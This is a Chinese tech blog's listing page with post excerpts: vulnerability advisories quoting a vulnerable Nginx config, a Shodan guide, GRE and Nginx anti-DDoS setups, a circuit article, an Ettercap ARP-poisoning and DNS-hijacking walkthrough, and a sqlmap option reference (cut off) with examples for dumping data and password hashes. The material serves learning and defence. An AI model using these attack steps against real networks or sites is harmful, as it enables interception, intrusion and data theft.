首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
3,468 阅读
2
Cloudflare SAAS 接入自选教程
2,155 阅读
3
兽装曲腿制作文档
1,981 阅读
4
Frpc使用XTCP不通过服务器传输
1,836 阅读
5
CloudFront CDN配置教程
1,184 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
124
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
搜索到
443
篇与
的结果
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
283 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】通达OA 高危漏洞预警
漏洞描述通达OA是一套办公系统。近日通达OA官方在官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件。攻击者通过构造恶意请求,上传webshell等恶意文件,并对入侵的服务器进行文件加密,勒索高额匿名货币赎金。影响版本V11版2017版2016版2015版2013增强版2013版安全建议通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。安全更新下载地址:http://www.tongda2000.com/news/673.php相关链接http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1
2020年03月25日
75 阅读
0 评论
0 点赞
2020-03-24
Shodan使用指南
前言Shodan是一个搜素互联网链接设备的搜索引擎,不同于Google、Baidu这些搜素引擎。用户可以在Shodan上使用Shodan搜索语法查找链接到互联网的摄像头、路由器、服务器等设备信息。在渗透测试中是个非常非常不错的神器。Shodan的工作原理Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。注:banner信息:用于描述设备所运行服务的标志性文本信息。Shodan的使用在使用Shodan之前我们需要注册一个Shodan账户,之后才可以使用:Shodan的使用方法较为简单,你可以将其当成一个“网络区域的”浏览器,之所以这样说是因为它具备搜索引擎的功能,而且是主要面对于网络设备的。Shodan初试条目介绍:左侧部分:Top Countries 使用最多的国家 Top services 使用最多的服务 Top organizations 使用最多的组织 Top operating systems 使用最多的操作系统 Top products (Software name) 使用最多的产品中间部分:涉及与搜素关键词有关的Target,主要包含的信息有:IP地址 主机名 该主机所处国家、区域 该条目的收录收录时间 Banner信息如果想要获得更加详细的信息可以点击“Details”之后获取与此目标相关的信息内容:Shodan的使用语法面对大量的信息量,如果要获取我们想要的目标信息,那么就必须附加限制条件缩小范围是最后的结果更加精确,与Google一样Shodan也有相应的语言可以使用:hostname——————————搜索指定的主机或域名,例如 hostname:baidu port——————————————搜索指定的端口或服务,例如 port:80 country———————————搜索指定的国家,例如 country:US city——————————————搜索指定的城市,例如 city:Chengdu org———————————————搜索指定的组织或公司,例如 org:"Google" isp———————————————搜索指定的ISP供应商,例如 isp:"China Telecom" product———————————搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version———————————搜索指定的软件版本,例如 version:"1.6.2" geo———————————————搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after——————搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15" net———————————————搜索指定的IP地址或子网,例如 net:"210.45.240.0/24" 查找位于国内的Nginx服务器nginx country:"CN"查找 GWS(Google Web Server) 服务器:"Server: gws" hostname:"google"查找指定网段的华为设备:huawei net:"61.191.146.0/24"如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法命令行下使用 ShodanShodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python安装pip install shodan或者git clone https://github.com/achillean/shodan-python.git && cd shodan-python python setup.py install安装完后我们先看下帮助信息:➜ ~ shodan -h Usage: shodan [OPTIONS] COMMAND [ARGS]... Options: -h, --help Show this message and exit. Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据常用示例init初始化命令行工具。➜ ~ shodan init [API_Key] Successfully initializedcount返回查询的结果数量。➜ ~ shodan count microsoft iis 6.0 575862download将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加--limit 参数。
2020年03月24日
781 阅读
0 评论
0 点赞
2020-03-23
使用VPS的GRE隧道过滤DDoS
什么是GRE隧道?类似于代理,GRE隧道使您可以将来自VPS的流量(包括DDoS过滤)传递到另一个远程目标。GRE隧道允许所有流量通过,而不仅仅是HTTP。借助GRE隧道,您可以提供服务,并从任何类型的服务器(音频,FTP,SSH,SCP,视频等)传递任何类型的内容。可以使用GRE隧道做什么?当您想使用我们的DDoS过滤服务来保护太大的服务(例如游戏服务器,Java应用程序,大型数据库驱动的应用程序等)时,GRE隧道非常方便。没有对目标服务器的root访问权,或者正在运行大型Windows部署?查看我们将流量重定向牵引到您的远程服务器的替代方法。注意:如果您正在隧道连接到OVH服务器,则您的内核很可能没有GRE支持。您将需要使用IPIP隧道。支持的操作系统可以使用Windows创建和转发GRE隧道在本文档中,我们仅介绍Linux的GRE隧道配置。本指南在KVM或者OpenVZ的服务器上都可以起作用前提BuyVM VPS上安装的iptables(大多数情况下已包括在内)iproute2(几乎所有最新的Linux发行版中都包含)具有GRE支持的内核(Linux默认包含该组件-ip_gre内核模块)您需要转发到目的地的端口列表隧道设置首先,我们需要建立隧道。在BuyVM VPS上,请执行以下命令: echo 'net.ipv4.ip_forward=1' >> /etc/sysctl.conf sysctl -p iptunnel add gre1 mode gre local YOUR_UNFILTERED_IP remote DESTINATION_SERVER_IP ttl 255 ip addr add 192.168.168.1/30 dev gre1 ip link set gre1 up 在要保护的远程服务器上,运行以下命令: iptunnel add gre1 mode gre local DESTINATION_SERVER_IP remote YOUR_UNFILTERED_IP ttl 255 ip addr add 192.168.168.2/30 dev gre1 ip link set gre1 up 您将始终希望使用所有GRE隧道的未过滤 IP地址来形成GRE,以确保您不会遇到任何类型的MTU问题或触发DDOS保护。请注意每个更改的第一行,以标记要在本地和远程使用的IP。第二行记录每个端点。在/ 30中,可以使用2个IP:.1和.2。使用Ping测试您的新GRE隧道在VPS上,您现在应该可以ping了192.168.168.2。为了完整起见,请192.168.168.1从目标服务器测试ping 。设置源路由表需要源路由条目,以确保通过GRE隧道传入的数据被发回GRE隧道。请在目标服务器上执行以下命令。echo '100 BUYVM' >> /etc/iproute2/rt_tables ip rule add from 192.168.168.0/30 table BUYVM ip route add default via 192.168.168.1 table BUYVM 请注意,echo命令只需要运行一次。该条目将保存到/ etc / iproute2 / rt_tables中,直到您手动将其删除。初始NAT条目以通过GRE隧道移动数据NAT用于通过GRE将数据传递到另一端。虽然可以使用已购买的/ 29分配的基于KVM的VPS,但本指南不涵盖此内容。在VPS上,运行以下命令: iptables -t nat -A POSTROUTING -s 192.168.168.0/30 ! -o gre+ -j SNAT --to-source 源ip测试出站连接在目标服务器上,您可以运行以下命令之一,以查看隧道是否正确传递了流量: curl http://www.cpanel.net/showip.cgi --interface 192.168.168.2 wget http://www.cpanel.net/showip.cgi --bind-address = 192.168.168.2 -q -O-IP应该是您的防御节点的IP。通过GRE隧道转发端口为了使事情变得容易,我们将所有端口转发到后端服务器。在VPS上运行以下命令:iptables -t nat -A PREROUTING -d YOUR_FILTERED_IP -j DNAT --to-destination 192.168.168.2 iptables -A FORWARD -d 192.168.168.2 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT 如果您想更具体一点,可以添加:-p tcp --dport 25565例如,如果您只是想保护Minecraft服务器。第一条规则设置实际的端口转发,第二条规则确保连接获得NAT,并正确匹配。在这一点上,您应该能够YOUR_FILTERED_IP使用您的应用程序连接到目标端口,并通过GRE隧道传递而不会出现问题。重新启动后重新启动GRE隧道可以/etc/rc.local使用自己喜欢的编辑器进行编辑(甚至使用WINSCP),并将刚运行的所有命令exit 0放在底部。选择发行版(如Debian)可能/etc/network/interfaces在启动时加入了GRE隧道,但这超出了本指南的范围。
2020年03月23日
111 阅读
0 评论
0 点赞
2020-03-23
Ettercap实现局域网DNS劫持
环境准备:1.kali系统;2.用到的软件:kali中的Ettercap,一个集成工具,里面包括了局域网主机扫描,arp欺骗,DNS劫持等功能;3.受害PC:自己的虚拟机中的系统centos。原理DNS,全称为域名解析协议,是一种将域名解析为ip地址的协议,基于UDP的53端口。比如我们在浏览器访问百度域名,会先向dns服务器发送一次dns请求报文,询问百度的ip地址,dns服务器经过查询(或递归查询)会将百度的域名以及对应的ip地址以dns响应报文的形式发回给我们,然后我们才可以与所对应的ip建立TCP连接进行网络通信。dns劫持建立在arp欺骗的基础上,关于arp的文章之前有写过,链接:arp协议分析&python编程实现arp欺骗抓图片,通过arp欺骗可以监听受害者机器到网关之间的流量,如果可以过滤协议为UDP,端口为53端口的数据报文,也就是DNS报文,并且将dns响应中的域名所对应的ip地址改写成我们服务器的ip,受害者机器就会与我们的机器进行连接通信,这就是dns投毒的基本原理,kali的Ettercap就可以做到这一点。1.打开ettercap的DNS文件进行编辑,文件路径为/etc/ettercap/etter.dns2.编辑/var/www/html/index.html文件 改成你定义页面 当然,如果你劫持到公网的某个地址,你可以跳过这步的3.输入命令ettercap -G来进入ettercap的图形界面4.选择网卡点击Sniff–>Unfied sniffing—配置,网卡选择eth05.接下来点击Hosts–>Scan for hosts,扫描局域网中存活的ip,寻找攻击目标6.显示扫到四个主机,点击Hosts list查看7.将网关192.168.75.1 Add to Target1,将受害PC192.168.75.131 Add to Target28.然后点击Mitm–>ARP poisoning9.勾选Sniff remote connections10.ARP欺骗便开始了11.下面开始dns劫持,点击Plugins–>Manage the plugins12.选择dns_spood插件,便开始dns欺骗了13.最后点击strat>start sniffing
2020年03月23日
196 阅读
0 评论
0 点赞
2020-03-22
NGINX防御CC攻击
在讲之前呢,先给大家讲解一下什么是cc攻击:攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(ChallengeCollapsar)。为了防止软件对网站压力测试或者恶意攻击,当服务器遭遇CC攻击时,我们可以快速查看日志,分析其请求的特征,比如User-agent。下面的是某一次CC攻击时的User-agent Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate几乎没有正常的浏览器会在User-agent中带上“must-revalidate”这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有“must-revalidate”的请求全部拒绝访问:if ($http_user_agent ~ must-revalidate) { return 403; }再用cc攻击软件,全部返回403,用360奇云测访问正常也可以通过以下办法,被动防御Discuz!是使用比较多的一个php论坛程序。以Discuz!7.0为例,程序目录下有比较多的可以直接访问的php文件,但其中最容易受到攻击的一般有index.php(首页)、forumdisplay.php(板块显示)、viewthread.php(帖子显示)。攻击者一般会对这些页面发起大量的请求,导致HTTP服务器连接数耗尽、mysql数据库停止响应,最终导致服务器崩溃。为了防止上述页面被攻击,我们可以设定以下的规则进行防御: http { limit_zone myzone_bbs $binary_remote_addr 10m; limit_req_zone $binary_remote_addr zone=bbs:10m rate=1r/s; … server { … location ~ ^/bbs/(index|forumdisplay|viewthread).php$ { limit_conn myzone_bbs 3; limit_req zone=bbs burst=2 nodelay; root html; fastcgi_pass unix:/dev/shm/php-cgi.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; include fastcgi_params; } } }应用这条规则后,bbs目录下的index.php、forumdisplay.php和viewthread.php这些页面同一个IP只许建立3个连接,并且每秒只能有1个请求(突发请求可以达到2个)。虽然这样的规则一般来说对正常的用户不会产生影响(极少有人在1秒内打开3个页面),但是为了防止影响那些手快的用户访问,可以在nginx中自定义503页面,503页面对用户进行提示,然后自动刷新。在Nginx中自定义503页面:error_page 503 /errpage/503.html;503页面的源代码:<html> < head> < title>页面即将载入....</title> < meta http-equiv=content-type c> < META NAME="ROBOTS" C> < /head> < body bgcolor="#FFFFFF"> < table cellpadding="0" cellspacing="0" border="0" width="700" align="center" height="85%"> < tr align="center" valign="middle"> < td> < table cellpadding="10" cellspacing="0" border="0" width="80%" align="center" style="font-family: Verdana, Tahoma; color: #666666; font-size: 11px"> < tr> < td valign="middle" align="center" bgcolor="#EBEBEB"> < br /><b style="font-size: 16px">页面即将载入</b> < br /><br />你刷新页面的速度过快。请少安毋躁,页面即将载入... < br /><br />[<a href="javascript:window.location.reload();"><font color=#666666>立即重新载入</font></a>] < br /><br /> < /td> < /tr> < /table> < /td> < /tr> < /table> < /body> < /html> < SCRIPT language=javascript> function update() { window.location.reload(); } setTimeout("update()",2000); < /script>2.被动防御虽然主动防御已经抵挡了大多数HTTP GET FLOOD攻击,但是道高一尺魔高一丈,攻击者会总会找到你薄弱的环节进行攻击。所以我们在这里也要介绍一下被动防御的一些方法。1)封IP地址访问者通过浏览器正常访问网站,与服务器建立的连接一般不会超过20个,我们可以通过脚本禁止连接数过大的IP访问。以下脚本通过netstat命令列举所有连接,将连接数最高的一个IP如果连接数超过150,则通过 iptables阻止访问:#!/bin/sh status=`netstat -na|awk '$5 ~ /[0-9]+:[0-9]+/ {print $5}' |awk -F ":" -- '{print $1}' |sort -n|uniq -c |sort -n|tail -n 1` NUM=`echo $status|awk '{print $1}'` IP=`echo $status|awk '{print $2}'` result=`echo "$NUM > 150" | bc` if [ $result = 1 ] then echo IP:$IP is over $NUM, BAN IT! /sbin/iptables -I INPUT -s $IP -j DROP fi 运行crontab -e,将上述脚本添加到crontab每分钟自动运行: 通过apache自带的ab工具进行服务器压力测试: ab -n 1000 -c 100 http://www.nf139.com 测试完成后,我们就可以看到系统中有IP被封的提示: [root@xxxxxx ~]#tail /var/spool/mail/root Content-Type: text/plain; charset=ANSI_X3.4-1968 Auto-Submitted: auto-generated X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <;PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> IP:58.246.xx.xx is over 1047, BAN IT!另外还有一种下下策使用Cloudflare的CDN和云锁抗CC模块双管齐下配置危险ip验证码访问和自动验证,如果遭受的攻击太大,可以考虑临时开启5秒盾和云锁的验证码盾
2020年03月22日
163 阅读
0 评论
0 点赞
2020-03-20
电压掉电监测电路如何实现检测工作?
电路在电压掉电时处于不稳定状态,经常需要采取一些应对措施。比如音响,内部的音频功率放大电路,在被突然拔掉电源时会发出刺耳的爆破音。如果加入电压掉电监测电路,当监测到电压掉电时,输出一个信号来触发静音电路工作,就可以消除爆破音。(静音电路,可以是在音频功率放大电路与喇叭之间加入继电器,要静音时,控制继电器断开与喇叭的连接上图是这里要介绍的一个电压掉电监测电路。电路说明电压掉电监测电路,监测的是电压 VCC。当 VCC 的电压下降到一定阀值时,三极管 Q2 导通,可以将外部电压拉到 0V;否则 Q2 不导通,对外相当于开路。原理分析VCC 是要监测的电压,这里以 VCC 等于 12V 为例进行分析。1、当 VCC 上电时,通过电阻 R1、二极管 D1 对电容 C1 充电。VCC 稳定在 12V 后,经过 R1、R2 的分压,D1 的左边为 11.25V。经过 D1 后降低了一个二极管压降,即 0.7V,最终电容 C1 的电压被充到 10.55V。2、VCC 稳定在 12V 后,Q1 的 b 极也为 12V。由于 b 极比 e 极电压还高,三极管 Q1 不导通。Q1 不导通,则 Q2 的 b 极没有电压,Q2 也不导通。3、当 VCC 掉电时,需要掉到一定的阀值,Q2 才会导通,并对外输出 VCC 掉电的信号。下图画出了三个放电回路。放电回路①:当 VCC 降低到 9.85V 时,电容 C1 的电压为充满电时的 10.55V,比 Q1 的 b 极(9.85V)高 0.7V,C1 通过 Q1 的 eb 极、电阻 R3、VCC 放电,于是 Q1 被打开。放电回路②:Q1 被打开后,电容 C1 的电压通过 Q1 的 ec 极、电阻 R4、Q2 的 be 极到地。Q2 的 b 极电压为 0.7V,于是 Q2 被打开。放电回路③:Q2 被打开后,将外接的电路电压拉到地,通过这个动作告知外部电路:VCC 掉电啦!电路参数设定说明可以设定电压侦测电路的响应阀值:方法是调整 R1 与 R2 的比值。上面的例子是 VCC 掉电到 9.85V 时,电路输出掉电信号。可以设定电路输出掉电信号的持续时间:方法是调整 C1 的容值、电阻 R3 的阻值。如增大 C1、R3 和 R4 的值,可以延长 C1 放电的时间,也就延长了 Q2 持续拉低的时间,最终延长了电路输出掉电信号的持续时间。要知道,有时候持久是很重要的。。。
2020年03月20日
70 阅读
0 评论
1 点赞
2020-03-19
sqlmap使用
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令下载安装官方网站:http://sqlmap.org/下载地址:https://github.com/sqlmapproject/sqlmap/(1)linux下git直接安装gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev(2)windows下安装windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。(3)kali及PentestBox默认安装sqlmap参数 -h或-hh:查看sqlmap的参数信息,双h显示全部 -version:查看版本信息目标-d 直接连接数据库的连接字符串 sqlmap -d “mysql://root:123456@127.0.0.1:3306/mysql"-u 检测目标url是否存在注入 sqlmap -u "http://127.0.0.1/sql.php?id=1"-m 检测文件中的url 例: sqlmap -m "1.txt"-r:从文件加载HTTP请求进行注入(burp抓取的数据包等) 例: sqlmap - r "1.txt"-g 自动获取Google搜索的前一百个结果,所处的网络环境要能访问Google才行 例: sqlmap -g "inurl:\".php?id=1\""-p 指定测试参数,若想只测试GET参数“id”和User-Agent 例: sqlmap -u "http://127.0.0.1?id=1" -p "id,user-agent"--skip 不测试指定参数,如设置了level为5但不想测试User-Agent和Referer 例: sqlmap -u "http://127.0.0.1?id=1" --level 5 --skip "user-agent,referer"--dbms 指定数据库类型,支持以下这些数据库管理系统:MySQL,Oracle,PostgreSQL,SQL Server,Access,Firebird,SQLite,Sybase,SAP MaxDB,DB2 例: sqlmap -u "http://127.0.0.1?id=1" --dbms Access--os 指定操作系统 例: sqlmap -u "http://127.0.0.1?id=1" --os linux请求--data 通过POST发送数据参数sqlmap会检测该参数指定数据是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1" --data "id=1"--proxy 设置代理 例: sqlmap -u "http://127.0.0.1" --proxy "http://127.0.0.1:8080"--param-del 默认url地址以“&”作为分隔符。我们可以使用“--param-del”来指定分隔符 例: sqlmap -u "http://127.0.0.1" --data "id=1;name=junmo" --param-del=";"--cookie 部分页面访问需要登入状态cookie默认的分隔符为“;”指定cookie中的分隔符使用参数"–cookie-del" 例: sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1" --cookie "PHPSESSID=kldvor5u6uokm9b2qpa0t4kp41;user=junmo;"--drop-set-cookie 若HTTP响应头中有"Set-Cookie",Sqlmap会自动设置cookie,并对这些cookie进行检测,不想set cookie添加参数"--drop-set-cookie" sqlmap就会忽略。--user-agent sqlmap默认的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(sqlmap.org)使用--user-agent参数来修改,当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入 例: sqlmap -u "http://127.0.0.1?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0"--random-agent 从文件./txt/user-agents.txt中随机地取一个User-Agent作为HTTP User-Agent头值 例: sqlmap -u "http://127.0.0.1?id=1" --random-agent--referer 指定HTTP头中的Referer值,Sqlmap发送的HTTP请求头部默认无Referer字段level<=3时,会检测Referer是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1?id=1" --referer "http://192.168.0.1/"--headers 发送时额外添加HTTP请求报文头部字段,若添加多个字段,用"\n"分隔 例: sqlmap -u "http://127.0.0.1?id=1" --headers="X-Forwarded-For: 1.1.1.1\nETag: 123456"--delay 来指定HTTP请求之间的延迟防止过于频繁而被拦截,单位为秒,类型是浮点数,如"--delay 1.5"表示延迟1.5秒,默认是没有延迟的。例: sqlmap -u "http://127.0.0.1?id=1" --delay 0.5--timeou 超时时间默认为30秒,指定超时时间,如"--timeout 52.1"表示设置超时时间为52.1秒 例: sqlmap -u "http://127.0.0.1?id=1" --timeou 50--retries 指定超时后最大重试次数默认为3 例: sqlmap -u "http://127.0.0.1?id=1" --retries 5--skip-urlencode 默认会对URL进行URL编码,使用该参数关闭URL编码。例: sqlmap -u "http://127.0.0.1?id=1" --skip-urlencode--threads 设置线程默认为1最大为10 例: sqlmap -u "http://127.0.0.1?id=1" --threads 10--invalid-bignum 生成无效参数值时强制使用大数, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加"–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。--invalid-logical 生成无效参数值时强制使用逻辑操作符, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。--invalid-string 生成无效参数值时强制使用字符串, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。--no-cast 关闭payload转换 在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了"–no-cast"来告诉Sqlmap不要这样做。--no-escape 关闭字符串编码 有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码--prefix payload前添加用户指定的前缀,如宽字节注入 例: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --prefix "%df'"--suffix payload后添加用户指定的后缀--mobile 模拟手机User-Agent检测--level 用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测 例: sqlmap -u "http://127.0.0.1?id=1" --level 5--risk 用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害,风险等级2添加了基于时间的注入测试,等级3添加了OR测试。sqlmap -u "http://127.0.0.1?id=1" --risk 3'-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;“1”同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。信息获取 --common-tables 暴力破解表名 有些情况下用“--tables”不能列出数据库中表名来,如:版本小于5.0的MySQL没有information_schema表微软Access的MSysObjects表默认不可读数据库用户权限过低无法读取表名当无法读出表名时可以使用参数“–common-tables”暴力破解表名,该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。 --common-columns 暴力破解列名 该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。 --all 列举所有可访问的数据 -b或--banner 大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“--banner”来列举数据库管理系统的这一信息。 --current-user 获取当前用户 --current-db 获取当前数据库 --hostname 获取服务器主机名 --is-dba 检测是否为管理员权限若是管理员则返回True,否则返回False。 --users 获取数据库用户 --password 获取数据库管理系统用户密码Hash值 --privileges 获取当前用户权限 --dbs 获取数据库系统数据库 --tables 获取数据库系统数据表 --columns 获取数据库系统数据列 -D 指定数据库 -T 指定数据表 -C 指定数据列 --count 获取数据条数 例: sqlmap -u "http://127.0.0.1?id=1" -D "mysql" -T "user" --count --dump 下载指定数据 例: sqlmap -u "http://127.0.0.1?id=1" --dump -D "mysql" -T "user" --dump-all 下载所有数据 --exclude-sysdbs 排除指定数据库 例: sqlmap -u "http://127.0.0.1?id=1" --dump-all --exclude-sysdbs "mysql" --search 可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。参数“–search”要和下列参数之一配合使用: -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索 -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索 -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。默认为包含搜索,即搜索的字符串包含于结果中就认为命中。精确搜索要求搜索的字符串与结果完全相等。例: sqlmap -u "http://127.0.0.1?id=1" -T "user" --search "user" --sql-query 执行sql语句 例: sqlmap -u "http://127.0.0.1?id=1" --sql-query "select version()" --sql-shell 交互式SQL的shell小技巧--technique 指定注入类型 其值为B、E、U、S、T或Q,含义如下:B:Boolean-based blind(布尔型注入)E:Error-based(报错型注入)U:Union query-based(可联合查询注入)S:Stacked queries(可多语句查询注入)T:Time-based blind(基于时间延迟注入)Q:Inline queries(嵌套查询注入)可以用“--technique ES”来指定使用两种检测技术。“--technique BEUSTQ”与默认情况等效。--time-sec 此参数用与设置基于时间延迟注入中延时时长,默认为5秒。--union-cols 在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。可以用此参数指定列数检测范围,如--union-cols 